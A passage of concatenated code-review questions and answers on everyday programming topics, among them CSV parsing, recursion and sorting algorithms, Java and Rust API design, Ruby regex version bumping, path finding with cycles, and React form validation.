        return keyHolder;
    }

I think that splitting a string on commas is the worse approach for serious CSV parsing.

There is no single standard csv format, but RFC 4180 comes close to being a de facto standard.  As described in Section 2, CSV fields may be double-quoted (and if so, a literal " would be represented as a pair of " characters).  Simply splitting a line on commas does not give you the ability to ever implement support for interpreting quoting.

With a Scanner, you can use tools such as useDelimiter(Pattern) and findInLine(Pattern) to simultaneously look for " and , characters, giving you a chance to write a real parser based on the ABNF grammar in RFC 4180.

Of course, unless are deliberately reinventing-the-wheel, you should just use an existing library, such as Apache Commons CSV or opencsv.


Hackerrank: "Cut the sticks" Javascript solution I took a stab at solving this problem from Hackerrank in Javascript, and would like your valuable feedback as to time/space complexity and just about any additional improvements.

Problem URL: https://www.hackerrank.com/challenges/cut-the-sticks

My JS implementation:

function main() {
    var n = parseInt(readLine());
    arr = readLine().split(' ');
    arr = arr.map(Number);

    arr = arr.sort(function(a,b){ return a-b; });

    function cut(barr){
        if(barr.length>0){//checks array length
            var min = barr[0]; //save min value in current array
            process.stdout.write(barr.length+'\n'); //write initial array length
            var b = [];
            for(var i=0; i<barr.length; i++){ //iterate over array
                var result = barr[i]-min; //math ops
                if(result>0){
                    b.push(result); //build new array if value is greater than 0
                }
            }

            cut(b); // call cut operation again with new array
        }else{
            return; //halt operation if no values left to check for
        }
    }

    cut(arr);

}

Once the array is sorted, as you have it, the crux of this algorithm is simply:

subtract the smallest element from every element, then remove elements that equal 0

With es6 and method chaining, this can be expressed in a single line of code.  The rest is just the boilerplate and a condition to check when the recursion is finished -- all similar to what you have now.

Here's the rewrite:

function main() {
  readLine();
  const input = readLine().split(' ').map(Number).sort((a,b) => a-b );
  cut(input);

  function cut(arr) {
    if (!arr.length) return;
    console.log(arr.length);
    cut(arr.map(x => x - arr[0]).filter(x => x > 0)); // <-- the essence of the algorithm
  }
}

I should also point out that the above, as well as your solution, runs in \$O(n^2)\$.  You can in fact do better: \$O(n\log n)\$.  Because after the array is sorted, you can solve the problem with a single pass through the array, as follows:

function main() {
  readLine();
  const input = readLine().split(' ').map(Number).sort((a,b) => a-b );
  cut(input, input[0]);

  function cut(arr, min) {
    if (!arr.length) return;
    console.log(arr.length);
    while(arr[0] == min) arr.shift();
    cut(arr, arr[0]);
  }
}

Here we're taking advantage of the fact that after each cut, the elements that are removed are precisely those equal to the minimum element.  And to produce the output required for the problem, we notice that we don't actually have to do the cuts for every element of the list.  We merely have to remove the elements of 0 length.


Computer Algebra System implementation I have got it working in a way so that there is one superclass, MathObject. In this implementation there is only a Constant subclass. I was forced to implement an abstract MathObject add(MathObject that) and an abstract MathObject add(Constant that) for reasons.

I would like to get that abstract MathObject add(Constant) out of MathObject because its already in Constant and I would have to update MathObject for each object I add.

I'd like to focus on maintainability and expandability first before adding too much features (this is my third or so attempt).

public class MathMain{
    public static void main(String[] args){
        Constant constant = new Constant(1);
        constant.add(constant);
        MathObject mathObject = (MathObject)constant;
        constant.add(mathObject);
        constant.add((Constant)mathObject);
        mathObject.add(constant);
    }
}

public abstract class MathObject{
    public abstract MathObject add(MathObject that);

    public abstract MathObject add(Constant that);

    public abstract MathObject substract(MathObject that);

    public abstract MathObject substract(MathObject that);

    public abstract double evaluate();
}

public class Constant extends MathObject{
    public final double c;

    public Constant(double c){
        this.c = c;
    }

    public MathObject add(MathObject that){
        return that.add(this);
    }

    public MathObject substract(MathObject that){
        return that.substract(this);
    }

    public Constant add(Constant addend){
        return new Constant(c + addend.c);
    }

    public Constant substract(Constant subtrahend){
        return new Constant(c - subtrahend.c);
    }

    public double evaluate(){
        return c;
    }
}

You have a compile error since MathObject has 2 identical substract methods; I assume this is a copy-paste error and the second should have Constant instead of MathObject as its parameter.

substract -> subtract.

MathObject only has abstract methods. If it is not going to give any common implementation, I would recommend making it an interface instead of an abstract class, as that would allow implementations to extend a different class as well.

Additionally, I would change evaluate() to doubleValue(), similar to the identically named method in the Number class. What if you want to have a CAS system that computes using BigDecimal, but you want to reuse your code?

Constant has a public final double c. That should be private; you (almost) never want to have a public field for a class.

The Big Problem

There is currently a rather big problem with your design: MathObject treats Constants differently from MathObjects. This should not be the case. Rather, the Constant class should comply with the MathObject interface:

public class Constant implements MathObject {
    private final double c;

    public Constant(double c) {
        this.c = c;
    }

    // Always add this when you override a method. It doesn't enforce anything
    // in Java's compile (unfortunately), but you will get a warning if you have
    // a method with @Override that doesn't actually override anything. However,
    // what this annotation does do is that it documents. If I come in and look at your
    // code, it is immediately clear to me that these methods are overriding
    // some parent method. Otherwise, I might look at this and think, "What is
    // this for?" For other examples, it can be clearer why @Override is useful,
    // but get in to the habit of always adding @Override
    @Override
    public MathObject add(MathObject that) {
        // This is an example of something you could do
        if (that instanceof Constant) {
            return new Constant(c + ((Constant) that).c);
        }
        return that.add(this);
    }

    @Override
    public MathObject subtract(MathObject that) {
        // return that.subtract(this);
        // Some implementation here
    }

    @Override
    public double doubleValue() {
        return c;
    }
}

So then MathObject would be:

public interface MathObject {
    MathObject add(MathObject that);

    MathObject subtract(MathObject that);

    double doubleValue();
}


Using an offset variable to keep track of the next item in a Rust array I am using an offset variable to track the iteration position, and modifying / returning it. Is the below considered bad practice in Rust? I ask this because I don't see dereferencing very often in code I have seen.

fn get_next_u16(input: &[u8], offset: &mut usize) -> u16 {
    let next = ((input[*offset+1] as u16) << 8) +
                (input[*offset]   as u16);
    *offset += 2;
    next
}

fn main() {
    let input = [1, 2, 3, 4];
    let mut offset = 0;
    let first_u16 = get_next_u16(&input, &mut offset);
    let second_u16 = get_next_u16(&input, &mut offset);
    println!("first: {}", first_u16);
    println!("second: {}", second_u16);
}

The other way I think of doing this is to reassign to the offset variable like:

fn get_next_u16(input: &[u8], offset: usize) -> (usize, u16) {
   (offset+2, ((input[offset+1] as u16) << 8) +
               (input[offset]   as u16))
}

fn main() {
    let input = [1, 2, 3, 4];
    let offset = 0;
    let (offset, first_u16) = get_next_u16(&input, offset);
    let (offset, second_u16) = get_next_u16(&input, offset);
    println!("first: {}", first_u16);
    println!("second: {}", second_u16);
}

This looks cleaner but now you have to reassign to offset all the time.

Perhaps there is another way to do this also?

Comparing your variants

Your first variant is a C-style variant. In C, we only have one return value, not multiple, so pointers are the only way to pass more than a single piece of information to the user. Unfortunately, those pointers sometimes get used in a wrong way, which isn't that easy with Rust. Still the following code is somewhat repetitive, isn't it?

let first_u16 = get_next_u16(&input, &mut offset);
let second_u16 = get_next_u16(&input, &mut offset);
let third_u16 = get_next_u16(&input, &mut offset);
let fourth_u16 = get_next_u16(&input, &mut offset);
....
let one_hundred_u16 = get_next_u16(&input, &mut offset);

input and offset are tightly coupled, which shows that there is something amiss. A structured way to handle both at the same time would be great. Or we could search some closure somewhere else.

The latter variant clearly shows the user that there is more information to work with: The usize shouldn't get ignored! After all, it's part of the output. But alas, that's still error prone, since we now can accidentally use the same offset twice:

let (offset2,  first_u16) = get_next_u16(&input, offset);
let (_      , second_u16) = get_next_u16(&input, offset);     // whoops!

That's due to the fact that usize implements the Copy trait.

Iterate with iterators

But let's take a step back: you want a safe way to get the next u16 repeatedly. You want an iterator. Slices already provide a fitting iterator called chunks. Therefore, we can get two u8s easily. All we need to do is to map those chunks:

fn to_u16(input: &[u8]) -> u16 {
    ((input[1] as u16) << 8) + (input[0] as u16)
}

fn main() {
    let input = [1, 2, 3, 4];
    let output: Vec<_> = input.chunks(2).map(to_u16).collect();
    println!("{:?}", output);
}

Note that this will panic if the input doesn't contain an even number of u8s. You can use the unstable chunks_exact feature or return an Option<u16> instead.

Other remarks

Use rustfmt to format your code. That way your code looks similar to the one written by others.


Simple easy-to-use AutoTyper I have created an auto-typer that runs through a simple little GUI.This was my first ever Java program so it's pretty simple and not anything special, but I'm curious to know if there's anything that I could have done better.

import java.awt.*;
import javax.swing.*;
import java.awt.event.*;

public class AutoTyper{

    private static int interval;
    private static Timer timerMain;
    private static JTextField txtSpam;
    private static JTextField txtInterval;
    private static JButton btnStart;
    private static JButton btnStop;

    public static void main(String[]args){
        ActionListener taskSpam = new ActionListener(){
            public void actionPerformed(ActionEvent evt) {
                sendkeys(txtSpam.getText());
              }
        };
        ActionListener taskStartTimer = new ActionListener(){
            public void actionPerformed(ActionEvent evt){
                timerMain.setDelay(Integer.parseInt(txtInterval.getText()));
                timerMain.start();
                btnStart.setEnabled(false);
                btnStop.setEnabled(true);
                txtInterval.setEnabled(false);
            }
        };
        ActionListener taskStopTimer = new ActionListener(){
            public void actionPerformed(ActionEvent evt){
                timerMain.stop();
                btnStart.setEnabled(true);
                btnStop.setEnabled(false);
                txtInterval.setEnabled(true);
            }
        };

        btnStart = new JButton("Start Spam");
        btnStop = new JButton("Stop Spam");
        btnStart.setBackground(Color.BLACK);
        btnStart.setForeground(Color.GREEN);
        btnStop.setBackground(Color.BLACK);
        btnStop.setForeground(Color.GREEN);
        JLabel lbl1 = new JLabel("Text to Spam");
        JLabel lbl2 = new JLabel("Interval:");
        timerMain = new Timer(1,taskSpam);
        txtSpam = new JTextField("", 13);
        txtSpam.setBackground(Color.BLACK);
        txtSpam.setForeground(Color.GREEN);
        txtInterval = new JTextField("3000",3);
        txtInterval.setBackground(Color.BLACK);
        txtInterval.setForeground(Color.GREEN);

        btnStart.addActionListener(taskStartTimer);
        btnStop.addActionListener(taskStopTimer);
        btnStop.setEnabled(false);

        JPanel intervalpane = new JPanel();
        intervalpane.add(lbl2,BorderLayout.EAST);
        intervalpane.add(txtInterval,BorderLayout.WEST);

        JPanel bottompane = new JPanel();
        bottompane.add(btnStart,BorderLayout.EAST);
        bottompane.add(btnStop,BorderLayout.CENTER);
        bottompane.add(intervalpane,BorderLayout.WEST);

        JPanel toppane = new JPanel();
        toppane.add(lbl1,BorderLayout.EAST);
        toppane.add(txtSpam,BorderLayout.NORTH);

        JPanel pane = new JPanel(new BorderLayout());
        pane.add(toppane,BorderLayout.NORTH);
        pane.add(bottompane,BorderLayout.SOUTH);

        JFrame frame = new JFrame("Auto Typer");
        frame.setForeground(Color.BLACK);

        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        frame.setContentPane(pane);
        frame.pack();
        frame.setResizable(false);
        frame.setVisible(true);
      }

    private static void sendkeys(String text) {
        try {
            Robot robot = new Robot();
            text = text.toUpperCase();
            for(int i = 0; i < text.length(); i++)
                robot.keyPress(text.charAt(i));
        robot.keyPress(KeyEvent.VK_ENTER);
        }catch(java.awt.AWTException exc) {
            System.out.println("error");
        }
    }
}

Not used variables

I don't think this variable is used:

private static int interval;

Method

If you want to type the text without having to do each letter at a time, I'd use a Map to keep track of what code relates to each letter. Something like:

  // earlier on in your class, set up the map
   private static Map<Character,Integer> charMap;

   static {
      charMap = new HashMap<Character,Integer>();
      charMap.put( ' ', 32 );
      charMap.put( 'a', 65 );
      charMap.put( 'b', 66 );
      charMap.put( 'c', 67 );
      charMap.put( 'd', 68 );
      charMap.put( 'e', 69 );
      charMap.put( 'f', 70 );

      // ... and so on until ...
      charMap.put( '0', 48 );
   }

   // now define the method to use it
   public static void sendText(String aa) {

      for ( int i = 0; i < aa.length(); i++ ) {
         robot.keyPress( charMap.get( aa.charAt( i ) ) );
      }
   }

Exception Handling

In the case of creating a Robot, if you get an AWTException as you have, remember that this means no Robot was created so you can't rely on it later.
Remember also to show the exception description. Typing "error" or "unknown error" isn't so fair for me, you can easily get the description of the exception.


Largest contiguous sub-array sum Challenge
Determine the largest contiguous sum of integers in a list.
Specifications

The first argument is a path to a file.
The file contains multiple lines.
Each line is a test case represented by a comma separated list of integers.
For each test case, find and print the largest contiguous sub-array sum.

Sample Input

-10,2,3,-2,0,5,-15
2,3,-2,-1,10

Sample Output

8
12

Source
#include <stdio.h>
#include <string.h>

#define LINE_LENGTH 1024
#define MIN_INT -32768

int largest_contiguous_sum(int *array, int size) {
    int max = MIN_INT;
    int current_max = MIN_INT;
    for (int i = 0; i < size; i++) {
        current_max = current_max + array[i] > array[i] ? current_max + array[i] : array[i];
        max = max > current_max ? max : current_max;
    }
    return max;
}

int compute_largest_contiguous_sum(char *line) {
    char seperator[] = ",";
    char *token;
    int var;
    int array[512];
    int i = 0;

    token = strtok(line, seperator);
    while (token != NULL) {
        sscanf(token, "%d", &var);
        array[i++] = var;
        token = strtok(NULL, seperator);
    }

    return largest_contiguous_sum(array, i);
}

int main(int argc, char *args[]) {
    if (argc < 2) {
        fprintf(stderr, "File path not provided. Exiting...\n");
        return 1;
    }

    if (argc > 2) {
        puts("Excessive arguments, only the first will be considered.");
    }

    FILE *file = fopen(args[1], "r");
    if (file == NULL) {
        perror("Error");
        return 1;
    }

    char line[LINE_LENGTH];
    while (fgets(line, LINE_LENGTH, file)) {
        printf("%d\n", compute_largest_contiguous_sum(line));
    }

    fclose(file);
}

First time using strtok and wondering if there was a better tool.

MIN_INT looks pretty arbitrary (are you by any chance on a 16-bit system?). Better initialize max and current_max to array[0] (and start iterating from i = 1).
current_max = current_max + array[i] > array[i] ? current_max + array[i] : array[i]; is extremely hard to read.

Notice that current_max + array[i] > array[i] is a long way to say current_max > 0.
compute_largest_contiguous_sum does a bit more than its name suggests. It parses the input and computes the sum. I recommend to factor the parser out, e.g. int parse_input_line(char *, int * size);. As a side note, 512 is also quite arbitrary.


Modelling an account manager in OOP I have this task of modelling a system where given a group of users each can keep track of their expenses. The basic requirements are as followed:

To be able to give credit to an user.
Find all the transactions of a given user.
Filter out the transaction where either user is borrower or spender.

I have tried few things but I am not convinced at all.

const trxn = new Array();

class Transaction {
    constructor(amount, from, to) {
      this.timestamp = new Date();
      this.amount = amount;
      this.from = from;
      this.to   = to;
      trxn.push(this);
    }

    toString() {
      let dd = this.timestamp.getDate();
      let mm = this.timestamp.getMonth();
      let yy = this.timestamp.getFullYear();
      return `[Transaction: ${dd}/${mm}/${yy}] ${this.from} Gives ${this.amount} to ${this.to}`;
    }
}

class Person {
    constructor(name) {
      this.name = name;
      this._transactions = [];
    }

    transfer(amount, to) {
      let t = new Transaction(amount, this, to);
      this._transactions.push(t);
    }

    transactions() {
      return this._transactions;
    }

    toString() {
      return `${this.name.charAt(0).toUpperCase() + this.name.slice(1)}`;
    }
}

function history(transactions, user) {
  return transactions.filter((t) => {
    return t.to.name === user.name || t.from.name === user.name;
  });
}

let amy = new Person('amy');
let foo = new Person('foo');
amy.transfer(500, foo);
amy.transfer(500, foo);
foo.transfer(200, amy);

for (let t of amy.transactions()) {
  console.log('Transaction by AMY');
  console.log(t);
}

for (let f of foo.transactions()) {
  console.log('Transaction by FOO');
  console.log(f);
}

console.log('Transaction history');
console.log(history(trxn, amy));

Output of the above logic:

Transaction by AMY
[Transaction: 22/10/2016] Amy Gives 500 to Foo
Transaction by AMY
[Transaction: 22/10/2016] Amy Gives 500 to Foo
Transaction by FOO
[Transaction: 22/10/2016] Foo Gives 200 to Amy
Transaction history
[Transaction: 22/10/2016] Amy Gives 500 to Foo,
[Transaction: 22/10/2016] Amy Gives 500 to Foo,
[Transaction: 22/10/2016] Foo Gives 200 to Amy

How can I make my code more flexible and robust following the OOP practices?

I would follow semantics.

Persons are not Accounts. A person may have multiple accounts. Either you rename Person to Account or you have a separate class "Account" so you have following semantic: Amy  transfers 500 from her Account 638423331 to an Account 747266783 that belongs to John.

Transactions are not bound to Accounts. They are on the level of the system which tries to ensure consistency. Sure you can have a list of transactions in each account the account was participant. But that is semantically redundant (denormalized) and has to be synchronized. So I suggest to introduce a class "Accountingsystem" that holds all transactions that keeps the whole consistent.

So my preferred model:

Accountingsystem knows all Persons, all Accounts and all transactions

An account knows its balance and its owner that must be one of the known Persons.

A Transaction knows the accounts participated and the debit/credit amount.

You can have convinience methods to filter transactions or which accounts belong to a person within the accountingsystem.


Recursive merge-sort inversion count algorithm very slow I am trying to implement a recursive count of inversions in a list of integers by using merge sort and counting the number of split inversions on each recursion. My code works but runs painfully slowly above a list of about 100 integers, and I need to count for ~3 orders of magnitude greater. Can anyone see what I'm doing wrong that makes it so slow?

inversions = np.loadtxt("inversion_text.txt", int).tolist()

def sort_count_inversions(X):
    n = len(X)

    # For subproblems of size 1 there are no inversions and no sorting required
    if n == 1:
        return 0, X
    a = X[:n//2]
    b = X[n//2:]

    # Count the inversions in subproblems
    # Get back the count of inversions and the sorted subproblems
    count_a, sorted_a = sort_count_inversions(a)
    count_b, sorted_b = sort_count_inversions(b)

    # Count the split inversions between sorted sub problems
    # Get back the count of split inversions and the the merge-sorted subproblems (sorted X)
    split_count, a_b = merge_count_split_inversions(sorted_a,sorted_b)

    # return the count of inversions in X and merge-sorted X
    count = split_count + count_a + count_b
    return count, a_b

def merge_count_split_inversions(X, Y):
    n = len(X) + len(Y)
    j = 0
    k = 0
    X_Y = []
    count_split = 0

    # Iterate through X and Y comparing value by value
    for i in range(n):
        # If we have reached the end of X or Y, there are no more inversions so append the remaining values to X_Y
        if j == len(X):
            X_Y.extend(Y[k:])
        elif k == len(Y):
            X_Y.extend(X[j:])
        # Add the smaller of the two compared elements to X_Y
        # If adding from Y, increment count of split inversions by the number of remaining elements in X
        elif X[j] < Y[k]:
            X_Y.append(X[j])
            j += 1
        else:
            X_Y.append(Y[k])
            k += 1
            count_split += len(X) - j

    # Return the total count of split inversions and the result of merge_sorting X and Y (X_Y)
    return count_split, X_Y

sort_count_inversions(inversions)

There's a bug in merge_count_split_inversions.

    for i in range(n):
        if j == len(X):
            add len(Y)-k elements to X_Y
        elif k == len(Y):
            add len(X)-j elements to X_Y
        elif X[j] < Y[k]:
            add 1 element to X_Y
            j += 1
        else:
            add 1 element to X_Y
            k += 1

This should have the invariant that after the ith time round the loop it has added i elements to X_Y. Either the first two cases need to add a single element, or they need to break.


Checking screen sizes for responsive site I wrote this piece of code to make any breakpoint to the users choice:

@mixin breakpoint($media) {
  $max-width: 0;
  @if($media == 'phones') {
    $max-width: $phone-medium;

  } @else if ($media == 'monitors') {
    $max-width: $screen-medium;

  //etc etc etc

  } @else if($media > 0) {
    $max-width: $media;
  }

  @media only screen and  (max-width: $max-width) {
    @content;
  }
}

This function comes with these variables:

//Phone width sizes
$phone-small: 480px;
$phone-medium: 768px;

//Screen widths
$screen-small: 1024px;
$screen-medium: 1280px;
$screen-big: 1920px;

This can be used by typing:

@include breakpoint('phones') {
   ....
}

or

@include breakpoint(450px) {
   ....
}

Is there any better way to do this?

Personally, I think it's better to make the breaks according to the content of the site, rather than to a fixed size.

This is even more true nowadays with docens of different screen sizes for each type of device.

You should make sure the site will always look good by making the breaks work depending on the design, and no the other way around.


Simple square root calculator Very simple square root calculator. I am sure it's terrible and can be made much better.
I feel it's way too many lines.
import random

## ask user for a number to find sq root for
num1 = input("Please enter number for which we'll find sq root:\n")

## generate a random number and test it
randomNum1 = random.randint(1,9)
print("Random number is " + str(randomNum1))

ranMul1 = 0

while True:
  if float(ranMul1) == float(num1):
    print("square root of " + str(num1) + " is " + str(randomNum1))
    break
  else:
    randomNum1 = round((float(randomNum1) + (float(num1)/float(randomNum1))) / 2, 4)
    ranMul1 = round(randomNum1 * randomNum1,4)
    print("Trying number " + str(randomNum1))
    continue

The great input from @hjpotter92 gets you 99% of the way there. The only additional comment I have is about this:
while num != random_num * random_num:

Exact comparison of floating-point numbers is problematic. You're going to want to pick some (very small) number, usually called epsilon, below which the error is insignificant and call that "close enough".
Read https://docs.python.org/3/library/math.html#math.isclose for more details.


Given an array A[] and a number x, check for pair in A[] with sum as x LINQ/FP style:

Assert.IsTrue(new[] {1,2,3}.AnyPairSum(4));

Where:

static class LinqDemo
{
    public static bool AnyPairSum(this IEnumerable<int> source, int sum)
    {
        var a = source.OrderBy(i => i).ToArray();
        return scan(0, a.Length - 1);
        bool scan(int l, int r) =>
            l >= r ? false :
            a[l] + a[r] > sum ? scan(l, r - 1) :
            a[l] + a[r] < sum ? scan(l + 1, r) :
            true;
    }
}

Your algorithm isn't the most efficient out there.

As you process the input, you can keep track of the numbers you have already seen and which numbers would complement those to sum to x. For instance, in your example, x=4: You read 1, you know that if you encounter a x - 1 = 3, you have found a pair. Next you read a 2, you know that if you encounter a x - 2 = 2, you have found a pair. Then you encounter a 3, which we knew we needed earlier. We can return true.

In code:

public static bool AnyPairSumAlternative(this IEnumerable<int> source, int sum) {
  var complements = new HashSet<int>();
  foreach(var item in source) {
    if (complements.Contains(item)) {
      return true;
    }
    try {
      checked {
        complements.Add(sum - item);
      }
    } catch (OverflowException) {
      // If sum - item overflows, that means that no two ints together can sum to sum.
      // We swallow the exception and don't add anything to complements, since the complement
      // clearly doesn't exist within the data type.
    }
  }
  return false;
}

This approach skips out of the sorting, and loops through the input list only once. Checking for inclusion in the Hashset is \$O(1)\$, so if I'm not mistaken, this takes the solution from \$O(n\log n)\$ to \$O(n)\$.

As comment by @slepic points out, we need to be careful that sum - item doesn't overflow. If that happens, that automatically means that the complement cannot appear in the array, since it wouldn't fit in our datatype. To account for this, we can do the subtraction in checked context and catch any OverflowException.


Ruby Regex to update various variables inside a file In our applications we have a version file that has three variables that are then joined to create a string that can be used for the semantic version.

The file looks like:

# frozen_string_literal: true

major = 0
minor = 1
patch = 0

PORTAL_VERSION = [major, minor, patch].join('.')

And then we update it using the following from our CI server:

@version = '0.1.1' # this is passed from somewhere

puts 'updating version'
version_file = File.open("version.rb").read
version = @version.split('.')
version_file = version_file.gsub(/(major = \w)/, "major = #{version[0]}")
version_file = version_file.gsub(/(minor = \w)/, "minor = #{version[1]}")
version_file = version_file.gsub(/(patch = \w)/, "patch = #{version[2]}")
File.open('version.rb', 'wb') { |file| file.write(version_file) }
puts "updated version to #{@version}"

Is there a better way to do the replacement using the regex? As by having to find each line and then replace it feels a little dirty, plus if there was or wasn't spaces between the variable name and value it wouldn't work. So it feels a little fragile.

There might be two easier options:

Generate the file using a template file something like the following

major = {{major}}
minor = {{minor}}
patch = {{patch}}

that has strings that are easy to search for. You could also use ERB to generate the file.

Put the logic in your version.rb file something like:

PORTAL_VERSION = '1.2.3'
major, minor, path = PORTAL_VERSION.split('.').map(&:to_i)

This way you would just have to replace the first line.

If you want to do it using your logic I would change the regex from /(patch = \w)/ to /(patch\s*=\s*\w+)/ this would handle extra whitespace and version numbers bigger than 9
Note you can also do variable substitution in Regexes so you could write your code as:

['major', 'minor', 'patch'].each.with_index do |key, i|
  version_file.sub!(/(#{key}\s*=\s*\w+)/, "#{key} = #{version[i]}")
end

Note that gsub isn't necessary as you only expect one occurrence.


Underscore-case version of ActiveRecord model's name Is there a better way to get the underscore-case version of an ActiveRecord model's name? So far this works, but it's far from ideal:

my_active_record_instance.class.name.underscore

You can use the singular method of ActiveModel::Naming:

ActiveModel::Naming.singular(my_active_record_instance)

Alternatively, you can use the model_name method that's mixed in to ActiveRecord by the same ActiveModel::Naming module. However, it's not available on a record instance, so you still have to go through its class:

my_active_record_instance.class.model_name.singular

or call it directly on the class:

MyActiveRecord.model_name.singular

The ActiveModel::Name instance returned by model_name contains many other inflections and name-related stuff.

You might consider making a module or concern that defines a name_for_path (or something) method, and which you can then include in the relevant models, so you can just call that.

By the way, your solution is not uncommon. I looked at the source for the Paperclip gem, which constructs file paths from model names, and it does pretty much the same thing to get the model's name, (though I don't know if there's a specific reason for it, or if they too could just as well use the approaches above).

However, if you keep your version, you should probably use to_s like Paperclip does:

my_active_record_instance.class.to_s.underscore


Given {origin, destination} objects, find all the paths from a place to another I have an object like this:

[
   {
     origin: 'a',
     destination: 'b'
   },
   {
     origin: 'a',
     destination: 'c',
   },
   {
     origin: 'b',
     destination: 'c'
   },
   {
     origin: 'b',
     destination: 'd'
   },
   {
     origin: 'd',
     destination: 'c'
   },
   {
     origin: 'd',
     destination: 'e'
   }
];

given an origin and a destination I should find all the paths to get there.

So this is my code:

function getDestinations(origin, destinationEnd) {
  let destinations = payloads.filter(payload => payload.origin === origin);
  destinations = destinations.map(destination => {
    const destinationsRecursive = getDestinations(destination.destination, destinationEnd);
    if (destinationsRecursive.length) {
      return Object.assign({}, destination, {
        next: destinationsRecursive
      });
    } else if (destination.destination === destinationEnd){
      return Object.assign({}, destination, {
        end: true
      });
    }
  })
  destinations = destinations.filter(destination => destination !== undefined)
  return destinations;
}

Calling for example getDestinations('a', 'c'); would return this:

[
  {
    "origin": "a",
    "destination": "b",
    "next": [
      {
        "origin": "b",
        "destination": "c",
        "end": true
      },
      {
        "origin": "b",
        "destination": "d",
        "next": [
          {
            "origin": "d",
            "destination": "c",
            "end": true
          }
        ]
      }
    ]
  },
  {
    "origin": "a",
    "destination": "c",
    "end": true
  }
]

What whould you improve in my code to make the same better?

So first a quick refactor of the input object.
const Links = links => links.split(",").map(link => ({origin: link[0], dest : link[1]}));

So now links as created using Links("ab,bc,ac"); which is easier to deal with.

Cycles never end.
This problem is not as simple as it first appears.
All path finding algorithms need to be aware of the paths that lead in circles.
Your problem "ab,ac,bc,bd,dc,de" and the solutions for this are "abc", "abdc", and "ac". but if we change the last link to "da" we create a circular link. Your code will follow "abdabdabdab...." and so on until the call stack overflows.
In most recursive problems where you encounter a cyclic reference you can easily avoid the endless recursion by simply tracking the objects you have already referenced. Ending the recursion when you find a link that has already been traveled.
But your problem requires ALL paths  which complicates the problem (Actualy impossible as cyclic links create infinite paths).
Consider the links "ab,ac,bc,bd,dc,da"
It has the following solutions

ab, bc
ab, bd, dc
ab, bd, da, ac
ac

If we marked all traveled then 3 would mark link ac as traveled and thus block solution 4.
Note: that the solutions include as many links as possible  without repeating.
The following is not a valid solution as "ad" is repeated

ab, bd, da, ab, bc

Currently your function crashed when presented with cyclic links.
Back to your code.
Now lets inprove your code. The code is too complex and very hard to read.

function getDestinations(origin, destinationEnd) {
  let destinations = payloads.filter(payload => payload.origin === origin);
  destinations = destinations.map(destination => {
    const destinationsRecursive = getDestinations(destination.destination, destinationEnd);
    if (destinationsRecursive.length) {
      return Object.assign({}, destination, {
        next: destinationsRecursive
      });
    } else if (destination.destination === destinationEnd){
      return Object.assign({}, destination, {
        end: true
      });
    }
  })
  destinations = destinations.filter(destination => destination !== undefined)
  return destinations;
}

Refactoring.

Some bad naming needs fixing

payload becomes links and you use destination to mean a link, we can abbreviate destinationEnd as dest and getDestinations makes more sense as getPaths with destinationsRecursive better called paths

Some redundancies to remove

Links filter, map, filter can be chained.
Also Object.assign is a bit noisy you can use {...obj} to do the same.
So now the function looks like
function getPaths(origin, dest) {
    return links
       .filter(link => link.origin === origin)
       .map(link => {
           const paths = getPaths(link.dest, dest);
           if (paths.length) {
               return {...link, more: paths};
           } else if (link.dest === dest){
               return {...link, end: true};
           }
      })
      .filter(link => link !== undefined);
}

Which is a lot more readable.
Performance
Now the problem of performance. map, and filter are both slow and use more memory than is needed. Each recursive call does not release memory until you exit, which happens at the end of the searches.  Plus all the paths that are not part of the solution that you filter out each iteration
A quicker solution using a simple loop and changing when you create the new path  so you don't need to hold paths that go no where.
function solvePaths(start, end, paths = []) {
    for (const link of links) {
        if (link.origin === start) {
            if (link.dest === end) {
                paths.push({...link, end : true});
            } else {
                const tryPath = solvePath(link.dest, end);
                if (tryPath.length) { paths.push({...link, more: tryPath}) }
            }
        }
    }
    return paths;
}

This avoids creating endless copies of the of the links array, via the filter and map methods. It also solves the problem of paths that fail.
Now to fix the cyclic reference problem
To do this you need to track the traveled path to each destination.
I have created a stack that tracks the current path links "traveled". When end points are found the current links are popped of the traveled stack so that the links are free to be use for another path to the destination.
The code is in the example below.
Well I think it works, it stops the crash, whether it finds all solutions may need some very in depth research which is beyond the scope of this answer.
UPDATED code snippet
I wanted to be sure that the function worked so did some more testing, and while I was doing it I realized that a further improvement could be made.
The problem is that each step requires the entire array of links to be iterated, checking if each link has the correct origin.
That can be offloaded to the creation of the links array. Using a Map indexed by origin allows the main loop to only loop over the links with the correct origin ( links.origins(start) returns a pre-existing array of links with origin start). This is a significant performance increase.

function createLinks(links) {
    const byOrigin = new Map();
    links = links.split(",").map(link => {
        const origin  = link[0];
        const linkObj = {dest : link[1], origin};
        const origins = byOrigin.get(origin);
        if (!origins) { byOrigin.set(origin, [linkObj]) }
        else          { origins.push(linkObj) }
        return linkObj;
    })
    links.origins = origin => (origin = byOrigin.get(origin)) ? origin : [];
    return links;
}

function solvePath(start, end, links) {
    const traveled = [];
    return (function solvePath(start, end, paths = []) {
        for (const link of links.origins(start)) {
            if (!traveled.includes(link)) {
                if (link.dest === end) { paths.push({...link}) }
                else {
                    traveled.push(link);
                    const more = solvePath(link.dest, end);
                    if (more.length) {  paths.push({...link, more}) }
                    traveled.pop();
                }
            }
        }
        return paths;
    }) (start, end);
}

function show(paths, trek, treks = []){
    for (const path of paths) {
        if (path.more) { show(path.more, (trek === null ? path.origin : trek) + "> "+ path.dest,treks) }
        else {  treks.push((trek ? trek : path.origin) + "> "  + path.dest) }
    }
    return treks;
}

const _$ = (type,props)=>document.body.appendChild(Object.assign(document.createElement(type),props));

const theMap = "AB,AC,BC,BD,DC,DE,EC,DA,ED,EG,GD";
_$("div",{textContent : "Links : " + theMap});
show(
    solvePath("A","C",createLinks(theMap))
    ,null
).forEach(path=>_$("div",{textContent : path}))


Form validation for multiple inputs I created an example of a simple form for multiple inputs (name and phone number) in React. If the user enters invalid data in input field, error text is displayed near the same field. I learned a lot of different examples of the form validation using React and I don't understand where is the better place for validation checking in form.

import React from 'react'
import { render } from 'react-dom'

const ErrorOutput = props => {
  let name = props.name
  let inputValue = props.case
  if (name === 'firstName') {
    if (!inputValue.match(/^[a-zA-Z]+$/) && inputValue.length > 0) {
        return Letters only
      }
    return
  }
  if (name === 'telNo') {
    if(!inputValue.match(/^[0-9]+$/) && inputValue.length > 0) {
        return Numbers only
      }
    return
  }
}

class App extends React.Component {
  constructor(props){
    super(props)

    this.state = {
      firstName: '',
      telNo: ''
    }
  }

  handleValidation(e) {
    this.setState({
      [e.target.name]: e.target.value
    })
  }

  render() {
    return (
      <form>

